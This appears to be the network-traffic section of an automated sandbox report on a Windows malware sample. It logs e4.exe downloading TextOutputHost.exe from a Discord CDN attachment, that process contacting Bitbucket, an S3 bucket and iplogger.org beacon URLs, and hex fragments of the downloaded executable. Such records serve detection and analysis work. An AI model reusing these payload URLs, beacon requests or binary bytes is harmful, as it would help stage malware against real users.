Aug 4, 2022 13:37:02.195976973 CEST	8.8.8.8	192.168.2.5	0x3e7a	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:02.195976973 CEST	8.8.8.8	192.168.2.5	0x3e7a	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:02.195976973 CEST	8.8.8.8	192.168.2.5	0x3e7a	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:11.360460997 CEST	8.8.8.8	192.168.2.5	0x4747	No error (0)	bitbucket.org		104.192.141.1	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:12.670593023 CEST	8.8.8.8	192.168.2.5	0xc4d1	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Aug 4, 2022 13:37:12.670593023 CEST	8.8.8.8	192.168.2.5	0xc4d1	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Aug 4, 2022 13:37:12.670593023 CEST	8.8.8.8	192.168.2.5	0xc4d1	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.195.249	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:17.340907097 CEST	8.8.8.8	192.168.2.5	0xd577	No error (0)	iplogger.org		148.251.234.83	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:37.920895100 CEST	8.8.8.8	192.168.2.5	0xa686	No error (0)	bitbucket.org		104.192.141.1	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:41.852647066 CEST	8.8.8.8	192.168.2.5	0x9cd6	No error (0)	iplogger.org		148.251.234.83	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

bitbucket.org

bbuseruploads.s3.amazonaws.com

iplogger.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49807	162.159.129.233	443	C:\Users\user\Desktop\e4.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49832	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49868	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49873	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49850	148.251.234.83	80	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2022 13:37:17.370182991 CEST	7800	OUT	GET /1fEwd7 HTTP/1.1 Content-Type: text/html MySpecialHeder: whatever User-Agent: Run Host: iplogger.org Cache-Control: no-cache
Aug 4, 2022 13:37:17.392971992 CEST	7801	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 04 Aug 2022 11:37:17 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://iplogger.org/1fEwd7 X-Frame-Options: DENY X-Content-Type-Options: nosniff Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49860	148.251.234.83	80	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2022 13:37:41.881800890 CEST	7941	OUT	GET /1fEwd7 HTTP/1.1 Content-Type: text/html MySpecialHeder: whatever User-Agent: Run Host: iplogger.org Cache-Control: no-cache
Aug 4, 2022 13:37:41.904691935 CEST	7941	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 04 Aug 2022 11:37:41 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://iplogger.org/1fEwd7 X-Frame-Options: DENY X-Content-Type-Options: nosniff Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49838	52.217.195.249	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49851	148.251.234.83	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49852	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49853	52.217.195.249	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49857	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49858	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49861	148.251.234.83	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49864	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49807	162.159.129.233	443	C:\Users\user\Desktop\e4.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-04 11:37:02 UTC	0	OUT	GET /attachments/1003972615569936414/1003972771124105277/TextOutputHost.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2022-08-04 11:37:02 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 04 Aug 2022 11:37:02 GMT Content-Type: application/x-msdos-program Content-Length: 3599640 Connection: close CF-Ray: 7356ffafdd8a693a-FRA Accept-Ranges: bytes Age: 176856 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=TextOutputHost.exe, attachment ETag: "55a6d22be09d762103ae315f97b58561" Expires: Fri, 04 Aug 2023 11:37:02 GMT Last-Modified: Tue, 02 Aug 2022 10:29:21 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1659436161635066 x-goog-hash: crc32c=SPYK3A== x-goog-hash: md5=VabSK+CddiEDrjFfl7WFYQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 3599640 X-GUploader-UploadID: ADPycdtIC4K6wgufLNvWQcN_JiglBwEzu-Uhi5hoYFGOevxKUS6x9n3WWSvn3peWRJjfG_4kFHTm8G58FCA9fhZfxuPGwg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=djoFURwgoFGm6T5sOuvOjDcGqxqjr1QST3JIMg6P%2FGR0f8TJDApfBM1px2COGKAMllfa6A%2BRADWf4v2S%2Bq%2BvcQL%2Br6WDoetV9EtsozCocheVju%2BAML0KPgaeA0Lip35U8e3sXQ%3D%3D"}],"group":"cf-nel","max_age":604800}
2022-08-04 11:37:02 UTC	1	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2022-08-04 11:37:02 UTC	1	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 76 f8 d1 d1 32 99 bf 82 32 99 bf 82 32 99 bf 82 26 f2 bc 83 39 99 bf 82 26 f2 ba 83 f3 99 bf 82 54 f6 42 82 33 99 bf 82 60 ec bb 83 23 99 bf 82 60 ec bc 83 38 99 bf 82 60 ec ba 83 7c 99 bf 82 87 ec bb 83 23 99 bf 82 87 ec ba 83 31 99 bf 82 26 f2 bb 83 26 99 bf 82 26 f2 b9 83 33 99 bf 82 26 f2 be 83 23 99 bf 82 32 99 be 82 96 99 bf 82 87 ec b6 83 30 99 bf 82 87 ec 40 82 33 99 bf Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$v222&9&TB3`#`8`\|#1&&&3&#20@3
2022-08-04 11:37:02 UTC	2	IN	Data Raw: 1d ee 48 2b 62 d9 b1 f3 7e 49 9c f7 dc ae 19 e8 50 75 83 6f e4 98 e7 9c 92 67 cb 80 f2 c4 29 97 41 a1 07 ec 67 05 ca d0 81 44 24 04 0b 69 88 c2 0a cc d4 1a 67 fe 7f 7d 95 51 1b f7 23 21 48 e2 80 a1 63 6d 47 8f 3c 7d 6a e5 de f7 34 e5 9b b7 f5 21 18 a7 89 ea 19 e4 b7 a4 ce 02 27 04 60 5e 5d 7c 6b 18 0f a9 80 82 81 b6 d1 85 9f f3 42 80 67 bd 70 d3 5e 59 d0 8f 50 c9 55 ca 9d f3 58 f8 61 cc 42 c8 5b fa ec f2 b4 a6 70 41 9f 79 1e 66 98 f7 1c 33 f7 ee 99 78 77 d9 7b 10 9f 5e 42 c0 41 c6 f3 fa 4e a6 4e 8c ae ef d4 cc cc a5 4e 9b 6b 4d 64 db ef 8f 05 09 86 da 83 71 2c 59 93 92 ce de 80 c2 59 d1 db eb 57 cd 10 bf 2d 94 59 a4 a6 36 34 52 bb a1 e9 9b c1 ea a4 47 5f 3b 75 0c dd b1 44 99 6b a5 3b c0 e5 67 5f 09 c0 d0 d9 81 cf fc 20 6b 57 5d 64 d8 c6 b0 c6 c0 97 ea dc Data Ascii: H+b~IPuog)AgD$ig}Q#!HcmG<}j4!'`^]\|kBgp^YPUXaB[pAyf3xw{^BANNNkMdq,YYW-Y64RG_;uDk;g_ kW]d
2022-08-04 11:37:02 UTC	4	IN	Data Raw: ce 37 a2 c4 a9 fe 47 5d 09 8e 6a 32 a8 33 cf 17 ff 24 90 5b 5f ec ef 67 8a 40 45 28 8f 61 c8 30 bd 09 2d 46 93 ae e7 2a 28 15 45 29 fd a8 b4 6e 0b 9e 69 e7 53 a8 eb eb 0a ba 49 15 e6 39 1d 4f 7f 0e 8f 17 a1 9b 65 8d 31 36 6b f8 98 4c f9 1b 4f 90 79 1b 51 78 f2 2e a1 47 5d 11 4c 05 fd 5e b0 d8 5f 56 d8 19 64 63 1e 7c 93 c4 b8 6b d0 48 22 b4 ae 5e 62 46 a9 97 64 c6 9d 78 2f bb 05 4a 23 6b f2 cb 10 8b 93 00 f5 0e 5f 5c 52 02 d1 50 b0 00 be 46 6e 8a 08 5f 88 79 80 86 3c e3 f4 00 e4 0b 77 27 eb e1 94 ad 7a cf 63 12 3e fd c3 4f 69 ac d9 21 75 18 93 24 47 d7 a3 16 6b 35 e1 b8 10 ec f6 dc 9b d7 04 47 65 10 46 46 99 ac 64 a3 5e 78 c0 62 6f fa eb 83 38 ba 2a 93 26 16 da a3 9e 5c 27 a6 59 6c 1c d7 1d 26 f2 9d 5c 16 4c 09 8b fa 63 08 70 de 55 34 df f6 fd 5a e6 89 c3 Data Ascii: 7G]j23$[_g@E(a0-F(E)niSI9Oe16kLOyQx.G]L^_Vdc\|kH"^bFdx/J#k_\RPFn_y<w'zc>Oi!u$Gk5GeFFd^xbo8&\'Yl&\LcpU4Z
2022-08-04 11:37:02 UTC	5	IN	Data Raw: ed 05 82 52 60 28 5c 0a 42 4a cd 48 4f 85 dc 4d 8a 8e d0 95 19 7f 13 44 5a b0 3c c6 49 af d9 bd 46 93 48 a1 7c 82 54 89 d7 4f d8 ba e1 87 4c aa 83 22 e8 e0 99 ac 47 2c 88 42 4c 87 34 6b 4c a5 0e e7 0d 5e 78 12 cc d8 93 79 82 00 df f1 64 c0 94 cb f1 09 22 f0 ca 9a 90 d2 c6 aa d7 9d 4b e6 81 b8 84 de 6e 0a 9e d8 24 bd 28 0b 52 4f fa 07 e6 95 54 dd 71 19 59 17 68 5d 30 76 94 d0 15 50 19 a3 74 ee 6b a3 ae 79 53 f2 03 dd a4 cd 20 e4 dd e2 1f 71 12 ed 27 65 ba 25 33 4b b8 fd 27 dc 60 c5 f9 9d 45 b6 e3 f0 0c c3 54 bd d3 8d 11 fb cf 84 df 34 04 8f 81 80 93 49 fd 6b 4c 84 17 41 15 51 33 fb 46 38 b9 82 20 70 cc ab 2b 0c be d5 5d 54 ec 35 b4 c0 7f 49 e4 7d 4d 4d 10 28 25 53 38 e9 37 96 a1 07 a1 d4 51 4b d0 b6 6a 4f 93 78 01 8f d7 8d 18 25 82 2d 59 a8 c0 b8 db 05 c7 Data Ascii: R`(\BJHOMDZ<IFH\|TOL"G,BL4kL^xyd"Kn$(ROTqYh]0vPtkyS q'e%3K'`ET4IkLAQ3F8 p+]T5I}MM(%S87QKjOx%-Y
2022-08-04 11:37:02 UTC	6	IN	Data Raw: 9a 4a 05 10 0a 90 34 2a d3 e2 29 f6 65 26 09 d3 92 7e f9 c3 87 2d 07 cb 2b ea 0e 73 00 08 d8 04 f7 be 1f 86 cc 85 9d 69 2f 70 a8 61 cb 4f ca c6 93 71 26 66 c3 5f e6 a5 bb 78 8d 60 a4 9f d6 42 a8 f9 11 29 97 9a d9 9f 35 04 be de e4 c0 dc d9 9d 55 ee 07 93 2e e5 4e 8c 43 6c 80 71 20 2a a6 27 a7 4e 88 97 47 45 b7 d9 bf a2 48 9f 39 f5 49 ef 28 a7 60 f0 5e 5e 29 ab 41 00 30 54 c4 de 59 e5 86 39 de eb a7 24 a0 6b 3f 65 91 eb 16 19 0b a0 e2 4e 9a 7d 9b 50 03 b8 e5 f9 ea 69 1a 34 4e 80 69 a9 cd 19 35 39 9b ca 34 e2 5c 38 87 74 35 a8 04 23 48 25 3d ba 85 00 97 e1 ce 3a e1 25 9b 4c 67 ff fa 0d d1 c5 36 28 aa e5 ce d2 93 fb 45 f4 7f dc e3 7b d8 5d 89 8f 60 4f 1e 56 ac a6 d0 df 5c 8e 03 30 3a db 0f 89 bf a5 75 2f f2 4f 6f 81 05 be 05 c0 bf 5f 28 fe 64 29 a0 b0 16 13 Data Ascii: J4)e&~-+si/paOq&f_x`B)5U.NClq 'NGEH9I(`^^)A0TY9$k?eN}Pi4Ni594\8t5#H%=:%Lg6(E{]`OV\0:u/Oo_(d)
2022-08-04 11:37:02 UTC	8	IN	Data Raw: 49 c5 07 4c 05 7a 84 e9 b8 0b 08 ba 47 8d 4b d6 2d ae 6a f3 95 b7 55 6e d7 0b 4d 40 76 91 25 be 57 a1 d8 a1 89 67 a4 5d 0c 0e b2 c6 3c 75 ca 4b 50 66 74 80 48 fc 1a 38 2c fe bc 20 70 62 44 ff 74 ef b6 fe bf 55 d6 be c8 db e3 5f 0c d9 a0 f3 48 97 b7 43 79 a2 b3 2f e4 8a 19 32 56 b5 32 83 ee bf ea f3 7f d6 f3 f2 67 e0 62 3e bb 9e 46 98 67 bd 31 f3 c5 9f cb 09 2e 7e 88 22 3b 82 b4 7d cf 95 f4 d7 12 ce 0b cf 82 26 ab 19 36 e9 85 ef e7 ef f3 9e 49 5a 29 63 e1 be 6d 8f 71 2d 3c 8c 7f 5e 0a a7 84 a9 71 8e 23 2e af f0 96 67 56 b0 2b 37 4e 32 99 58 85 c4 9a ea 47 fc 4a e1 1f 96 e7 79 31 8e 80 bc b4 d9 18 3d f6 89 27 bf 65 d3 2b fe a6 ed 7b a3 69 14 36 a9 dc 05 3e 76 d6 8c 9a 04 97 11 90 6a 9d db 5e 0b 1c b8 e9 e8 49 4d a7 dd 20 15 0f b6 f1 6a 70 79 ad c5 86 46 56 Data Ascii: ILzGK-jUnM@v%Wg]<uKPftH8, pbDtU_HCy/2V2gb>Fg1.~";}&6IZ)cmq-<^q#.gV+7N2XGJy1='e+{i6>vj^IM jpyFV
2022-08-04 11:37:02 UTC	9	IN	Data Raw: 1e c6 6a da dc c5 4d 0e 9c 03 85 03 04 c3 94 97 ea 15 81 7c db 8a 32 6d 83 7b f5 3f 6d 07 a0 5a 62 8e ee 94 37 a4 1e b0 af 91 bb 41 4a 30 88 7d 98 39 bd 83 f7 b6 a0 00 e7 2e e8 31 20 d8 4e 0b 16 9a 7e b9 00 2e 9f e3 1b 49 19 41 e5 c7 04 77 3d da 0a 6c 27 04 d3 8e 61 5d e4 11 ad a9 e8 45 2e 19 4e 9a 1a 27 26 2a e5 d0 07 86 c8 e4 8e 81 ea 18 47 37 b1 61 4d bd 18 04 4b 5d f5 3d fd c8 af 55 ca bf 35 9d f2 94 a6 37 23 7f fa 9b fc 9f 94 5d 42 3f cf 6b a0 2a 6e 39 ce 46 26 d9 49 97 c8 18 ce 82 d7 4e ff 45 7d 00 97 cc b8 70 ff 3d b2 17 c4 ca 3b ea e3 09 65 a1 c1 f1 a3 d2 67 74 6b d4 fb bf 7d 3d 73 5d 65 64 e4 45 d1 6d cb 66 ea 14 21 df f8 99 cf 2f 05 77 aa 97 00 82 9b 82 dc 41 4b 57 98 d8 fd 4f f5 aa 05 5b db 11 a8 6d 24 48 19 dd 62 ee be 38 af c9 cf 11 9d 3c 41 Data Ascii: jM\|2m{?mZb7AJ0}9.1 N~.IAw=l'a]E.N'&G7aMK]=U57#]B?kn9F&INE}p=;egtk}=s]edEmf!/wAKWO[m$Hb8<A
2022-08-04 11:37:02 UTC	10	IN	Data Raw: b9 a9 6c e6 5c e9 31 ce 7e e7 09 8f 35 46 24 ab e4 3d a6 2c 4c 44 e4 2a 20 c9 25 4f 95 ee ac b8 fa aa 93 88 55 6c 61 d0 69 85 24 3e d0 ad 8d 33 93 e2 72 4a 7f bc ad 10 a3 ab dd 2b cf 41 92 f9 4a 58 8c ae dc 01 51 67 01 5b ca a9 1e d9 cf 6e 31 2b cf 78 03 fe 7d 03 d6 92 99 2c 31 0c 10 04 da 5f 5d 70 f8 2f 9c a4 36 bc db c5 b5 41 d4 55 2c 5c de 3d 16 88 06 a7 07 6f 53 b5 f9 ab 4d ba cd 92 f2 df ae 4a c6 1b 6d 3a ca d6 8c 31 77 1a 59 4e 2b dc 62 64 8c 6a 53 02 c1 c4 7c 28 41 7a 01 ec 94 7b d4 d8 f8 67 24 f2 7a 7e 17 c5 c3 74 8e 0e 47 07 17 25 f2 4a 8a e8 6c c6 ec 51 b4 1d 82 70 5d 33 53 56 a3 47 dc 44 23 a7 ce 19 4c 5b ff a6 e7 05 69 8d f6 df 14 fb 9d ce 1a 77 e5 dd 5c be 34 dd 89 cd c3 bd 42 a0 03 c9 a9 65 91 7b e1 9d b6 ff 73 d3 47 ed 7a 10 72 06 39 1e f5 Data Ascii: l\1~5F$=,LD* %OUlai$>3rJ+AJXQg[n1+x},1_]p/6AU,\=oSMJm:1wYN+bdjS\|(Az{g$z~tG%JlQp]3SVGD#L[iw\4Be{sGzr9
2022-08-04 11:37:02 UTC	12	IN	Data Raw: a9 7e be 8b 5c ac 88 66 c0 d3 3c 90 f2 00 c5 28 12 17 c2 7c b8 d6 32 31 4f bc dc 65 90 7a 71 65 7e 34 16 6f 98 94 09 bd e1 7e 6d 81 45 8b 74 e8 a8 97 5e 35 88 f6 0e 67 b7 04 b3 59 69 a8 af d0 4d 8c e0 b8 fd 86 06 20 8a dc aa d2 ad 7d 5c b7 cb 8f 89 12 9c f0 1d 17 33 4b 5a 64 cf 5a 3f a0 7b 93 04 fe ad b1 a8 82 3b 03 c9 4d 4c 95 a4 67 85 54 cf c2 24 62 3b 7d df 9e d8 89 80 d4 1c e6 b9 b0 d7 b3 24 f8 bd 35 8a 17 82 74 20 91 ef 81 95 f7 64 a0 2e 57 b2 3b 71 c8 64 83 57 9a e6 15 05 13 07 47 d4 46 d6 33 ec 93 7d 79 9f d0 e1 b5 48 19 9e 21 e7 41 d2 b1 b5 a4 f5 ef 85 f7 b4 23 5b 41 3e e5 f5 c6 02 a8 91 19 e6 2e f2 2d cf 51 d2 7e 77 f9 13 74 ff 82 79 05 c2 da 41 fd f8 e7 9e 8f 83 55 81 66 c0 9a 5e 8c 0e 30 05 43 ee 29 8c f5 91 60 30 82 31 47 27 81 65 ca 2b 7f d8 Data Ascii: ~\f<(\|21Oezqe~4o~mEt^5gYiM }\3KZdZ?{;MLgT$b;}$5t d.W;qdWGF3}yH!A#[A>.-Q~wtyAUf^0C)`01G'e+
2022-08-04 11:37:02 UTC	13	IN	Data Raw: cb 6b 20 c2 16 9a 68 c2 63 95 c2 3f dd 02 9a eb 8e 69 dc 48 ae 97 4a 8b 19 a2 7e f4 7d bd af af a6 e5 bb 43 73 3d 56 1b 83 1e 4b 2a 6e 48 38 2c 5b ad d9 14 17 6f a0 2b b0 c1 8a 5a 18 9b 73 38 48 e0 19 5c 30 f1 4a 79 3f f1 41 a4 97 b6 b1 00 97 a6 22 1b ab fc bc 73 07 5e 21 8e 3f ed ee 89 9f cc 22 b6 e8 83 99 1a c1 4e 85 32 83 25 00 2b 97 5a 20 00 06 36 1f 26 93 73 ec 4a 3c df 5d dc 49 a0 8f f3 fc 80 42 0f 62 87 5b 2c 9f de 71 40 42 4f a0 fe 21 93 08 e1 de 52 c4 fb 00 08 d4 ef 1f 95 73 49 78 8c ea 8a b6 d0 01 9a 19 47 9b 1f 34 46 7f 20 cb 49 a3 bd 9c 39 79 e2 a1 d7 05 84 df c9 f9 56 45 56 02 48 46 e5 45 ea 61 25 a1 e9 c2 e3 b4 9e f1 69 43 67 e1 ba a6 aa 17 c6 e0 a0 d9 6c b0 d0 84 ce 8b 1b 20 5d f8 18 ea cf a7 08 2b df 16 ab eb 4b 1e 59 eb 34 5a b5 f0 36 c8 Data Ascii: k hc?iHJ~}Cs=VK*nH8,[o+Zs8H\0Jy?A"s^!?"N2%+Z 6&sJ<]IBb[,q@BO!RsIxG4F I9yVEVHFEa%iCgl ]+KY4Z6
2022-08-04 11:37:02 UTC	14	IN	Data Raw: 5d 1c 9d 5c d9 63 8d 6f 8b 74 ec 4a 8f 19 7d 90 f8 ba 8c 6d a8 42 5e 1e 99 01 f9 11 2f e9 a5 cf d7 0c 62 97 eb 11 89 15 fe 11 38 2f 59 95 47 f2 78 5b 2b 6e b6 57 95 8d 88 53 18 cc a6 30 fd b1 a1 0e 84 cf 15 0c 23 e4 63 a1 5f ae 2e 58 93 cb 8f 6f ac 2b 81 e5 d0 0b 3a 9b d5 bf 2e 7d 91 61 48 8e 2a 60 a3 9a e7 48 6f c3 d4 2b 8b 9c c0 5a 60 79 53 69 c1 4e 4d 11 2a 20 84 f1 8a 3b 93 5d 6d ee e4 a4 c6 e5 ea 57 88 97 cc e6 3c 0b 0c b8 d7 dd f1 9d 5d 19 e4 cc db b5 92 43 b0 29 a0 65 ca 80 04 ca 09 0a e0 80 f9 f4 34 04 56 fb 48 74 e2 ca 26 e1 55 86 25 78 1f c7 4d 0f a6 2e 09 da 3e 94 9b a5 31 18 67 65 1d eb 83 79 e0 73 be 41 65 de 0f 91 c4 b2 8c f6 ce 59 86 17 42 7d c0 dd 22 de fc d4 66 34 03 f5 1b 93 c4 ed 99 3d 4f 85 15 c5 ce 7a 19 6f 5d d8 5d 30 7d 28 31 00 b8 Data Ascii: ]\cotJ}mB^/b8/YGx[+nWS0#c_.Xo+:.}aH`Ho+Z`ySiNM ;]mW<]C)e4VHt&U%xM.>1geysAeYB}"f4=Ozo]]0}(1
2022-08-04 11:37:02 UTC	16	IN	Data Raw: 99 e9 6c 6e f8 1c 77 cb 69 19 d5 14 36 03 79 54 6f df 79 e6 13 ce 2d c7 5a 25 8b da b3 a9 9f de 78 a8 5f e8 3f 47 6b 8a 49 cb 9f ac 45 fc c4 0d bd d2 81 6c 4b 16 52 eb a5 b2 f7 56 75 e8 9e bc 1a 98 6c a8 19 93 2a b9 45 28 27 65 cc 4a ed 3f 48 a0 0b 3e 12 28 bb 75 6b d9 58 65 ea b6 be 84 8f ab c4 ac 8c 2e 22 9d 9c b7 4f 8a 9b 1b 4b 3d 60 28 59 a0 47 7b 96 2c fa f3 de c1 a9 b1 4f 29 78 f2 6f f9 c1 2e df 65 80 c5 af a4 2b bf 63 2b 66 c0 3d 39 91 c6 07 41 c8 5e 91 b3 82 be 0e c2 c3 cf 36 e6 0b 07 bf c3 ef 5e c3 e6 5b ce b7 65 9e dd 52 3e 43 e3 82 31 84 ad 40 13 99 c3 9c 35 fb 3c 82 04 93 48 0f 24 67 4f 1e 8c a9 bb 04 16 18 c8 97 57 18 81 36 4f 78 be 04 34 18 81 b7 d7 6c 22 d8 e9 2f f0 fb 32 b8 07 9f 7e 11 b9 eb 5d 72 8b 78 c3 5e 56 c9 ca 49 ac e2 14 00 c4 e6 Data Ascii: lnwi6yToy-Z%x_?GkIElKRVul*E('eJ?H>(ukXe."OK=`(YG{,O)xo.e+c+f=9A^6^[eR>C1@5<H$gOW6Ox4l"/2~]rx^VI
2022-08-04 11:37:02 UTC	17	IN	Data Raw: 6c ee c9 db e8 3c d4 72 35 9e 12 85 6f fe aa 3c 41 10 34 1f 07 31 b0 d4 a6 45 be 1c c6 47 6f 8a 00 bf ef 36 a9 f7 f1 5d 71 9e ed d2 c1 9a dc b5 f4 27 91 49 e9 1f b7 a2 db 04 29 31 91 0f e3 0a 29 45 c5 03 c3 e1 02 08 5b 78 27 85 12 54 7e 93 c2 76 a0 d7 1f 05 18 11 0a 46 86 69 bb 27 44 a1 cd 9f 30 06 a2 2e 08 6a 37 ea de 0d 89 6a 7b 4e f2 75 91 51 c9 37 6d 1c d2 07 1e b5 92 65 13 1f 35 49 c1 33 d2 1f ae 81 e8 4f 06 d2 2a c8 c2 f4 e9 85 62 15 e0 14 06 f3 16 11 a8 90 9e c1 d4 18 c8 b3 06 37 0a 9d ec 63 16 d4 00 54 77 11 10 84 f9 0b 01 2d 67 56 64 53 eb 9e fa 1b b6 fc 45 4a 35 0d a1 2b e8 a8 e6 57 37 41 b0 c8 92 ca 1c 78 08 b8 a0 45 fd b4 4f 35 4b b7 99 47 0e 6a a6 38 2d 96 fc b7 fd df 7e c2 fc 9e 79 07 e2 31 ec a2 c0 33 f9 b0 93 0e 67 38 a7 41 45 5e 7b 8b b7 Data Ascii: l<r5o<A41EGo6]q'I)1)E[x'T~vFi'D0.j7j{NuQ7me5I3O*b7cTw-gVdSEJ5+W7AxEO5KGj8-~y13g8AE^{
